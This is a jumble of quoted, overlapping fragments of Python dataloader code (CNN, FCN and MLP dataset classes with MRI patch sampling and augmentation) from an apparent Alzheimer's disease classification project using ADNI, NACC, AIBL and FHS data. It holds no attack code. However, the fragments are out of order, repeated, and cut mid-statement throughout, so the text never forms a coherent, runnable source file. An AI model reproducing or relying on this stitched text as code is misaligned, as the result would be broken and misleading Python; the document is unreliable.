"image): image = self.change_contrast(image) image = self.change_brightness(image) image = self.add_noise(image) return image class",
"stage, roi_threshold, roi_count, choice, seed) self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def",
"self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size // 2), axis=0) return data, label",
"of DPM as criterion to save model parameters (c). Testing stage: get all",
"AIBL datasets 3. CNN dataloader (baseline classification model to be compared with FCN+MLP",
"self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)),",
"model on ADNI_test, NACC, FHS and AIBL datasets \"\"\" class Augment: def __init__(self):",
"self.roi > self.roi_threshold for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k",
"data = np.load(self.Data_dir + self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if self.transform:",
"= 0.2 def change_contrast(self, image): ratio = 1 + (random.random() - 0.5)*self.contrast_factor return",
"__init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir = Data_dir if stage in ['train',",
"(random.random() - 0.5)*self.bright_factor return image + val def add_noise(self, image): sig = random.random()",
"image.mean() + ratio*(image - image.mean()) def change_brightness(self, image): val = (random.random() - 0.5)*self.bright_factor",
"= float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count / count0 if i == 0",
"use random patches to train classification FCN model (b). Validation stage: forward whole",
"self.select_roi_count() else: self.select_roi_thres() if stage in ['train', 'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)",
"'test' and etc ... :param whole_volume: if whole_volume == True, get whole MRI;",
"'./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list =",
"return weights, count0 / count1 class FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx, stage, whole_volume=False,",
"= self.Label_list[idx] risk = self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def",
"self.Label_list[idx] if self.stage == 'train' and not self.whole: data = np.load(self.Data_dir + self.Data_list[idx]",
"Testing stage: get all available DPMs for the development of MLP 2. MLP",
"in self.Label_list] return weights, count0 / count1 if __name__ == \"__main__\": data =",
"image = self.change_brightness(image) image = self.add_noise(image) return image class CNN_Data(Dataset): \"\"\" csv files",
"self.risk_list[0].shape[0] def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi > self.roi_threshold for i",
"8) / 20.0 def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1))",
"class CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir",
"patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label = self.Label_list[idx] if self.stage ==",
"float( self.Label_list.count(1)) weights = [count / count0 if i == 0 else count",
"np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count",
"in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k], i, j, k))",
"data augmentation, if transform == None: no augmentation for more details, see Augment",
"j in range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0:",
"range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0",
"self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(data, axis=0) return data, label def get_sample_weights(self): count,",
"or j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort() tmp = tmp[-self.roi_count:]",
"def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi > self.roi_threshold for i in",
"= self.risk_list[0].shape[0] def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi > self.roi_threshold for",
"= stage self.transform = transform self.whole = whole_volume self.patch_size = patch_size self.patch_sampler =",
"self.Data_dir = Data_dir self.roi_threshold = roi_threshold self.roi_count = roi_count if choice == 'count':",
"stage: test the model on ADNI_test, NACC, FHS and AIBL datasets \"\"\" class",
"model parameters (c). Testing stage: test the model on ADNI_test, NACC, FHS and",
"def apply(self, image): image = self.change_contrast(image) image = self.change_brightness(image) image = self.add_noise(image) return",
"roi_threshold self.roi_count = roi_count if choice == 'count': self.select_roi_count() else: self.select_roi_thres() if stage",
"data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(padding(data, win_size=self.patch_size // 2),",
"def change_brightness(self, image): val = (random.random() - 0.5)*self.bright_factor return image + val def",
"class CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv contains MRI filenames along with demographic and",
"= np.expand_dims(data, axis=0) return data, label def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)),",
"class MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): random.seed(seed) self.exp_idx",
"exp_idx=1, stage='train') dataloader = DataLoader(data, batch_size=10, shuffle=False) for risk, label, demor in dataloader:",
"in ['train', 'valid', 'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in ['ADNI',",
"tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort() tmp = tmp[-self.roi_count:] self.roi = self.roi != self.roi",
"self.change_contrast(image) image = self.change_brightness(image) image = self.add_noise(image) return image class CNN_Data(Dataset): \"\"\" csv",
"len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] data = np.load(self.Data_dir + self.Data_list[idx] +",
"count0 if i == 0 else count / count1 for i in self.Label_list]",
"MRI to FCN to get Disease Probability Map (DPM). use MCC of DPM",
"image): sig = random.random() * self.sig_factor return np.random.normal(0, sig, image.shape) + image def",
"data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data = np.expand_dims(data, axis=0) return data,",
"+ ratio*(image - image.mean()) def change_brightness(self, image): val = (random.random() - 0.5)*self.bright_factor return",
"tmp: self.roi[i,j,k] = True def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label =",
"to save model parameters (c). Testing stage: get all available DPMs for the",
"criterion to save model parameters (c). Testing stage: test the model on ADNI_test,",
"return image class CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv contains MRI filenames along with",
"in range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: continue",
"development of MLP 2. MLP dataloader (use the exactly same split as FCN",
":param stage: stage could be 'train', 'valid', 'test' and etc ... :param whole_volume:",
"risk = self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count,",
"__len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] risk = self.risk_list[idx] demor",
"self.in_size = self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx]",
"== None: no augmentation for more details, see Augment class \"\"\" CNN_Data.__init__(self, Data_dir,",
"seed) self.stage = stage self.transform = transform self.whole = whole_volume self.patch_size = patch_size",
"self.patch_sampler.random_sample(data) if self.transform: patch = self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0) return patch, label",
"or k%3!=0: continue tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort() tmp = tmp[-self.roi_count:] self.roi =",
"if self.transform: patch = self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0) return patch, label else:",
"select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi > self.roi_threshold for i in range(self.roi.shape[0]):",
"patches to train classification FCN model (b). Validation stage: forward whole volume MRI",
"i in self.Label_list] return weights, count0 / count1 if __name__ == \"__main__\": data",
"[] for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k in range(self.roi.shape[2]):",
"+ filename + '.npy') for filename in self.Data_list] self.risk_list = [self.rescale(a) for a",
"./lookuptxt/*.csv contains MRI filenames along with demographic and diagnosis information \"\"\" def __init__(self,",
"dataloader (data split into 60% train, 20% validation and 20% testing) (a). Training",
"if choice == 'count': self.select_roi_count() else: self.select_roi_thres() if stage in ['train', 'valid', 'test']:",
"self.risk_list] self.in_size = self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label =",
"win_size=self.patch_size // 2), axis=0) return data, label class MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx,",
"range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: self.roi[i,j,k] = False def select_roi_count(self): self.roi",
"for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if",
"self.sig_factor return np.random.normal(0, sig, image.shape) + image def apply(self, image): image = self.change_contrast(image)",
"Probability Map (DPM). use MCC of DPM as criterion to save model parameters",
"stage) else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list = [np.load(Data_dir",
"import PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import random import pandas as pd",
"Data_dir: data path :param exp_idx: experiment index maps to different data splits :param",
"k)) tmp.sort() tmp = tmp[-self.roi_count:] self.roi = self.roi != self.roi for _, i,",
"save model parameters (c). Testing stage: get all available DPMs for the development",
"read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.exp_idx = exp_idx",
"if i%3!=0 or j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort() tmp",
"criterion to save model parameters (c). Testing stage: get all available DPMs for",
"seed=1000): random.seed(seed) self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']: self.Data_list, self.Label_list",
"to different data splits :param stage: stage could be 'train', 'valid', 'test' and",
"self.whole = whole_volume self.patch_size = patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label",
"(x + 8) / 20.0 def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)),",
"exp_idx, stage, seed) self.stage = stage self.transform = transform self.whole = whole_volume self.patch_size",
"add_noise(self, image): sig = random.random() * self.sig_factor return np.random.normal(0, sig, image.shape) + image",
"j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k], i, j, k)) tmp.sort() tmp = tmp[-self.roi_count:] self.roi",
"60% train, 20% validation and 20% testing) (a). Training stage: use random patches",
"image def apply(self, image): image = self.change_contrast(image) image = self.change_brightness(image) image = self.add_noise(image)",
"count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights = [count / count0 if i",
"the model on ADNI_test, NACC, FHS and AIBL datasets \"\"\" class Augment: def",
"self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label = self.Label_list[idx] if self.stage == 'train'",
"weights, count0 / count1 if __name__ == \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train')",
"tmp = [] for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k",
"float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights = [count / count0 if i == 0",
"self.Data_list, self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label =",
"data path :param exp_idx: experiment index maps to different data splits :param stage:",
"stage, roi_threshold, roi_count, choice, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir self.roi_threshold",
"= False def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for i in",
"k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: continue tmp.append((self.roi[i,j,k], i, j,",
"self.sig_factor = 0.2 def change_contrast(self, image): ratio = 1 + (random.random() - 0.5)*self.contrast_factor",
"return data, label def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights",
"FCN model (b). Validation stage: forward whole volume MRI to FCN to get",
"roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed) self.Data_list, self.Label_list,",
"+ '.npy').astype(np.float32) data = np.expand_dims(data, axis=0) return data, label def get_sample_weights(self): count, count0,",
"random seed :param patch_size: patch size has to be 47, otherwise model needs",
"tmp[-self.roi_count:] self.roi = self.roi != self.roi for _, i, j, k in tmp:",
"more details, see Augment class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed) self.stage =",
"exactly same split as FCN dataloader) (a). Training stage: train MLP on DPMs",
"= read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] data",
"= read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list] self.in_size = self.risk_list[0].shape[0] def",
"def __getitem__(self, idx): label = self.Label_list[idx] risk = self.risk_list[idx] demor = self.demor_list[idx] return",
"transform=Augment()): \"\"\" :param Data_dir: data path :param exp_idx: experiment index maps to different",
"seed=1000): super().__init__(Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed) self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path)",
"Validation stage: use MCC as criterion to save model parameters (c). Testing stage:",
"= self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0,",
"[self.rescale(a) for a in self.risk_list] self.in_size = self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list) def",
"stage: get all available DPMs for the development of MLP 2. MLP dataloader",
"contains MRI filenames along with demographic and diagnosis information \"\"\" def __init__(self, Data_dir,",
"self.Label_list = read_csv('./lookupcsv/{}.csv'.format(stage)) def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx]",
"i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0",
"count1 for i in self.Label_list] return weights, count0 / count1 class MLP_Data_apoe(MLP_Data): def",
"whole_volume self.patch_size = patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label = self.Label_list[idx]",
"read_csv_complete, read_csv_complete_apoe, get_AD_risk import random import pandas as pd import csv \"\"\" dataloaders",
"random.seed(seed) self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']: self.Data_list, self.Label_list =",
"if stage in ['train', 'valid', 'test']: self.path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: self.path =",
"count / count1 for i in self.Label_list] return weights, count0 / count1 class",
"for i in self.Label_list] return weights, count0 / count1 class FCN_Data(CNN_Data): def __init__(self,",
"\"\"\" dataloaders are defined in this scripts: 1. FCN dataloader (data split into",
"data = np.expand_dims(data, axis=0) return data, label def get_sample_weights(self): count, count0, count1 =",
"= True def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] risk",
"to save model parameters (c). Testing stage: test the model on ADNI_test, NACC,",
"train, 20% validation and 20% testing) (a). Training stage: use random patches to",
"'./lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list]",
"has to be 47, otherwise model needs to be changed accordingly :param transform:",
"Validation stage: forward whole volume MRI to FCN to get Disease Probability Map",
"return patch, label else: data = np.load(self.Data_dir + self.Data_list[idx] + '.npy').astype(np.float32) data =",
"demographic and diagnosis information \"\"\" def __init__(self, Data_dir, exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir",
"in self.Data_list] self.risk_list = [self.rescale(a) for a in self.risk_list] self.in_size = self.risk_list[0].shape[0] def",
"np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for i in range(self.roi.shape[0]): for j in range(self.roi.shape[1]): for",
"Training stage: train MLP on DPMs from the training portion (b). Validation stage:",
"def __init__(self, Data_dir, exp_idx, stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\" :param Data_dir: data",
"patch = self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0) return patch, label else: data =",
"self.roi_count = roi_count if choice == 'count': self.select_roi_count() else: self.select_roi_thres() if stage in",
"exp_idx, stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\" :param Data_dir: data path :param exp_idx:",
"= CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader = DataLoader(data, batch_size=10, shuffle=False) for risk, label, demor",
"as FCN dataloader) (a). Training stage: train MLP on DPMs from the training",
"along with demographic and diagnosis information \"\"\" def __init__(self, Data_dir, exp_idx, stage, seed=1000):",
"from utils import PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import random import pandas",
"count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights = [count / count0",
"image class CNN_Data(Dataset): \"\"\" csv files ./lookuptxt/*.csv contains MRI filenames along with demographic",
"in self.Label_list] return weights, count0 / count1 class FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx,",
"= './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in",
"float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights = [count / count0 if i == 0 else",
"self.Data_list] self.risk_list = [self.rescale(a) for a in self.risk_list] self.in_size = self.risk_list[0].shape[0] def __len__(self):",
"0.5)*self.contrast_factor return image.mean() + ratio*(image - image.mean()) def change_brightness(self, image): val = (random.random()",
"model to be compared with FCN+MLP framework) (a). Training stage: use whole volume",
"sig = random.random() * self.sig_factor return np.random.normal(0, sig, image.shape) + image def apply(self,",
"are defined in this scripts: 1. FCN dataloader (data split into 60% train,",
"(a). Training stage: use whole volume to train classification FCN model (b). Validation",
":param Data_dir: data path :param exp_idx: experiment index maps to different data splits",
"def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for i in range(self.roi.shape[0]): for",
"patches for training :param seed: random seed :param patch_size: patch size has to",
"model on ADNI_test, NACC, FHS and AIBL datasets 3. CNN dataloader (baseline classification",
"self.Data_list, self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list = [np.load(Data_dir + filename + '.npy') for",
"DataLoader from utils import PatchGenerator, padding, read_csv, read_csv_complete, read_csv_complete_apoe, get_AD_risk import random import",
"np.load(self.Data_dir + self.Data_list[idx] + '.npy', mmap_mode='r').astype(np.float32) patch = self.patch_sampler.random_sample(data) if self.transform: patch =",
"if whole_volume == False and stage == 'train', sample patches for training :param",
"self.exp_idx = exp_idx self.Data_dir = Data_dir self.roi_threshold = roi_threshold self.roi_count = roi_count if",
"0.4 self.sig_factor = 0.2 def change_contrast(self, image): ratio = 1 + (random.random() -",
"dataloader) (a). Training stage: train MLP on DPMs from the training portion (b).",
"self.transform: patch = self.transform.apply(patch).astype(np.float32) patch = np.expand_dims(patch, axis=0) return patch, label else: data",
"= exp_idx self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']: path =",
"= Data_dir self.roi_threshold = roi_threshold self.roi_count = roi_count if choice == 'count': self.select_roi_count()",
"= random.random() * self.sig_factor return np.random.normal(0, sig, image.shape) + image def apply(self, image):",
"float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count / count0 if i == 0 else",
"i%3!=0 or j%2!=0 or k%3!=0: self.roi[i,j,k] = False def select_roi_count(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx))",
"use MCC of DPM as criterion to save model parameters (c). Testing stage:",
"patch = np.expand_dims(patch, axis=0) return patch, label else: data = np.load(self.Data_dir + self.Data_list[idx]",
"into 60% train, 20% validation and 20% testing) (a). Training stage: use random",
"self.patch_size = patch_size self.patch_sampler = PatchGenerator(patch_size=self.patch_size) def __getitem__(self, idx): label = self.Label_list[idx] if",
"and AIBL datasets \"\"\" class Augment: def __init__(self): self.contrast_factor = 0.2 self.bright_factor =",
"47, otherwise model needs to be changed accordingly :param transform: transform is about",
"/ count1 for i in self.Label_list] return weights, count0 / count1 if __name__",
"self.Label_list] return weights, count0 / count1 if __name__ == \"__main__\": data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/',",
"Training stage: use whole volume to train classification FCN model (b). Validation stage:",
"if stage in ['train', 'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path =",
"image.mean()) def change_brightness(self, image): val = (random.random() - 0.5)*self.bright_factor return image + val",
"label def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float(self.Label_list.count(1)) weights = [count",
"DPMs for the development of MLP 2. MLP dataloader (use the exactly same",
"exp_idx, stage, seed=1000): random.seed(seed) self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']:",
"count1 class FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx, stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()): \"\"\"",
"__getitem__(self, idx): label = self.Label_list[idx] if self.stage == 'train' and not self.whole: data",
"seed=1000, patch_size=47, transform=Augment()): \"\"\" :param Data_dir: data path :param exp_idx: experiment index maps",
"change_brightness(self, image): val = (random.random() - 0.5)*self.bright_factor return image + val def add_noise(self,",
"range(self.roi.shape[1]): for k in range(self.roi.shape[2]): if i%3!=0 or j%2!=0 or k%3!=0: self.roi[i,j,k] =",
"self.exp_idx = exp_idx self.Data_dir = Data_dir if stage in ['train', 'valid', 'test']: path",
"roi_count, choice, seed=1000): random.seed(seed) self.exp_idx = exp_idx self.Data_dir = Data_dir self.roi_threshold = roi_threshold",
"class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000): super().__init__(Data_dir, exp_idx,",
"x): return (x + 8) / 20.0 def get_sample_weights(self): count, count0, count1 =",
"NACC, FHS and AIBL datasets 3. CNN dataloader (baseline classification model to be",
"self.Label_list] return weights, count0 / count1 class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx, stage,",
"return weights, count0 / count1 class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx, stage, roi_threshold,",
"= Data_dir if stage in ['train', 'valid', 'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage))",
"... :param whole_volume: if whole_volume == True, get whole MRI; if whole_volume ==",
"class \"\"\" CNN_Data.__init__(self, Data_dir, exp_idx, stage, seed) self.stage = stage self.transform = transform",
"test the model on ADNI_test, NACC, FHS and AIBL datasets 3. CNN dataloader",
"else: self.path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for",
"available DPMs for the development of MLP 2. MLP dataloader (use the exactly",
"transform == None: no augmentation for more details, see Augment class \"\"\" CNN_Data.__init__(self,",
"in ['train', 'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list,",
"np.random.normal(0, sig, image.shape) + image def apply(self, image): image = self.change_contrast(image) image =",
"True, get whole MRI; if whole_volume == False and stage == 'train', sample",
"self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] risk =",
"train classification FCN model (b). Validation stage: use MCC as criterion to save",
"= Data_dir if stage in ['train', 'valid', 'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else:",
"return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] risk = self.risk_list[idx] demor =",
"FCN dataloader (data split into 60% train, 20% validation and 20% testing) (a).",
"Data_dir self.roi_threshold = roi_threshold self.roi_count = roi_count if choice == 'count': self.select_roi_count() else:",
"MCC as criterion to save model parameters (c). Testing stage: test the model",
"this scripts: 1. FCN dataloader (data split into 60% train, 20% validation and",
"read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list] self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self):",
"sig, image.shape) + image def apply(self, image): image = self.change_contrast(image) image = self.change_brightness(image)",
"== 'train', sample patches for training :param seed: random seed :param patch_size: patch",
"__getitem__(self, idx): label = self.Label_list[idx] risk = self.risk_list[idx] demor = self.demor_list[idx] return risk,",
"= self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def rescale(self, x): return (x + 8)",
"\"\"\" class Augment: def __init__(self): self.contrast_factor = 0.2 self.bright_factor = 0.4 self.sig_factor =",
"self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) tmp = [] for i in range(self.roi.shape[0]): for j in",
"* self.sig_factor return np.random.normal(0, sig, image.shape) + image def apply(self, image): image =",
"CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader = DataLoader(data, batch_size=10, shuffle=False) for risk, label, demor in",
"'test']: path = './lookupcsv/exp{}/{}.csv'.format(exp_idx, stage) else: path = './lookupcsv/{}.csv'.format(stage) self.Data_list, self.Label_list, self.demor_list =",
"np from torch.utils.data import Dataset, DataLoader from utils import PatchGenerator, padding, read_csv, read_csv_complete,",
"= [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list] self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self): self.roi =",
"def get_sample_weights(self): count, count0, count1 = float(len(self.Label_list)), float(self.Label_list.count(0)), float( self.Label_list.count(1)) weights = [count",
"same split as FCN dataloader) (a). Training stage: train MLP on DPMs from",
"'train', 'valid', 'test' and etc ... :param whole_volume: if whole_volume == True, get",
"get whole MRI; if whole_volume == False and stage == 'train', sample patches",
"size has to be 47, otherwise model needs to be changed accordingly :param",
"self.Label_list, self.demor_list = read_csv_complete(path) self.risk_list = [np.load(Data_dir + filename + '.npy') for filename",
"for the development of MLP 2. MLP dataloader (use the exactly same split",
"for training :param seed: random seed :param patch_size: patch size has to be",
"self.Data_list, self.Label_list, self.demor_list = read_csv_complete_apoe(self.path) class CNN_MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, seed=1000):",
"weights, count0 / count1 class FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx, stage, whole_volume=False, seed=1000,",
"Disease Probability Map (DPM). use MCC of DPM as criterion to save model",
"'test']: self.Data_list, self.Label_list = read_csv('./lookupcsv/exp{}/{}.csv'.format(exp_idx, stage)) elif stage in ['ADNI', 'NACC', 'AIBL', 'FHS']:",
"whole MRI; if whole_volume == False and stage == 'train', sample patches for",
"stage: use MCC as criterion to save model parameters (c). Testing stage: test",
"+ (random.random() - 0.5)*self.contrast_factor return image.mean() + ratio*(image - image.mean()) def change_brightness(self, image):",
"/ count1 class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count, choice, seed=1000):",
":param transform: transform is about data augmentation, if transform == None: no augmentation",
"self.risk_list[idx] demor = self.demor_list[idx] return risk, label, np.asarray(demor).astype(np.float32) def get_sample_weights(self): count, count0, count1",
"apply(self, image): image = self.change_contrast(image) image = self.change_brightness(image) image = self.add_noise(image) return image",
"self.Data_list, self.Label_list, self.demor_list = read_csv_complete(self.path) self.risk_list = [get_AD_risk(np.load(Data_dir+filename+'.npy'))[self.roi] for filename in self.Data_list] self.in_size",
"= self.risk_list[0].shape[0] def __len__(self): return len(self.Data_list) def __getitem__(self, idx): label = self.Label_list[idx] risk",
"stage: train MLP on DPMs from the training portion (b). Validation stage: use",
"and etc ... :param whole_volume: if whole_volume == True, get whole MRI; if",
"/ count1 class FCN_Data(CNN_Data): def __init__(self, Data_dir, exp_idx, stage, whole_volume=False, seed=1000, patch_size=47, transform=Augment()):",
"in self.Data_list] self.in_size = self.risk_list[0].shape[0] def select_roi_thres(self): self.roi = np.load('./DPMs/fcn_exp{}/train_MCC.npy'.format(self.exp_idx)) self.roi = self.roi",
"weights, count0 / count1 class MLP_Data_apoe(MLP_Data): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count,",
"data = CNN_MLP_Data(Data_dir='./DPMs/cnn_exp1/', exp_idx=1, stage='train') dataloader = DataLoader(data, batch_size=10, shuffle=False) for risk, label,",
"axis=0) return data, label class MLP_Data(Dataset): def __init__(self, Data_dir, exp_idx, stage, roi_threshold, roi_count,",
"self.roi != self.roi for _, i, j, k in tmp: self.roi[i,j,k] = True",
"patch size has to be 47, otherwise model needs to be changed accordingly",
"MCC of DPM as criterion to save model parameters (c). Testing stage: get",
